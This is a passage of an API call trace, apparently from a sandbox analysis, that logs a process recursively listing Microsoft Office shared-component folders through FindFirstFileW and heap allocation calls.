(HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.557] GetProcessHeap () returned 0xc10000 [0232.557] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.557] GetProcessHeap () returned 0xc10000 [0232.557] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0232.569] GetProcessHeap () returned 0xc10000 [0232.569] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.569] GetProcessHeap () returned 0xc10000 [0232.569] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0232.572] GetProcessHeap () returned 0xc10000 [0232.572] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc541ed37, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.585] GetProcessHeap () returned 0xc10000 [0232.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.585] GetProcessHeap () returned 0xc10000 [0232.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc461cf97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.586] GetProcessHeap () returned 0xc10000 [0232.586] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.586] GetProcessHeap () returned 0xc10000 [0232.586] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0232.627] GetProcessHeap () returned 0xc10000 [0232.627] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0232.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0232.682] GetProcessHeap () returned 0xc10000 [0232.682] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0232.682] GetProcessHeap () returned 0xc10000 [0232.682] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0232.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.694] GetProcessHeap () returned 0xc10000 [0232.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.695] GetProcessHeap () returned 0xc10000 [0232.695] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.695] GetProcessHeap () returned 0xc10000 [0232.695] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0232.695] GetProcessHeap () returned 0xc10000 [0232.696] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.697] GetProcessHeap () returned 0xc10000 [0232.697] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0232.698] GetProcessHeap () returned 0xc10000 [0232.698] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.699] GetProcessHeap () returned 0xc10000 [0232.699] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef915def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef915def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0232.700] GetProcessHeap () returned 0xc10000 [0232.700] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0232.702] GetProcessHeap () returned 0xc10000 [0232.702] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.702] GetProcessHeap () returned 0xc10000 [0232.702] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.702] GetProcessHeap () returned 0xc10000 [0232.702] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.704] GetProcessHeap () returned 0xc10000 [0232.704] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0232.713] GetProcessHeap () returned 0xc10000 [0232.713] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.713] GetProcessHeap () returned 0xc10000 [0232.713] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0232.833] GetProcessHeap () returned 0xc10000 [0232.834] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0232.841] GetProcessHeap () returned 0xc10000 [0232.841] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.841] GetProcessHeap () returned 0xc10000 [0232.841] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.843] GetProcessHeap () returned 0xc10000 [0232.843] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0232.844] GetProcessHeap () returned 0xc10000 [0232.844] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.844] GetProcessHeap () returned 0xc10000 [0232.844] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.844] GetProcessHeap () returned 0xc10000 [0232.844] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.846] GetProcessHeap () returned 0xc10000 [0232.846] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0232.849] GetProcessHeap () returned 0xc10000 [0232.849] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.850] GetProcessHeap () returned 0xc10000 [0232.850] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.851] GetProcessHeap () returned 0xc10000 [0232.851] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0232.851] GetProcessHeap () returned 0xc10000 [0232.851] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0232.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0232.926] GetProcessHeap () returned 0xc10000 [0232.926] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0232.929] GetProcessHeap () returned 0xc10000 [0232.929] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.929] GetProcessHeap () returned 0xc10000 [0232.929] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0232.930] GetProcessHeap () returned 0xc10000 [0232.930] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.930] GetProcessHeap () returned 0xc10000 [0232.930] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.931] GetProcessHeap () returned 0xc10000 [0232.932] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.932] GetProcessHeap () returned 0xc10000 [0232.932] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.934] GetProcessHeap () returned 0xc10000 [0232.934] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.934] GetProcessHeap () returned 0xc10000 [0232.934] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.937] GetProcessHeap () returned 0xc10000 [0232.937] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.937] GetProcessHeap () returned 0xc10000 [0232.937] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.940] GetProcessHeap () returned 0xc10000 [0232.940] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.941] GetProcessHeap () returned 0xc10000 [0232.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.942] GetProcessHeap () returned 0xc10000 [0232.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.942] GetProcessHeap () returned 0xc10000 [0232.942] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\*", lpFindFileData=0x2e5e520 | out: 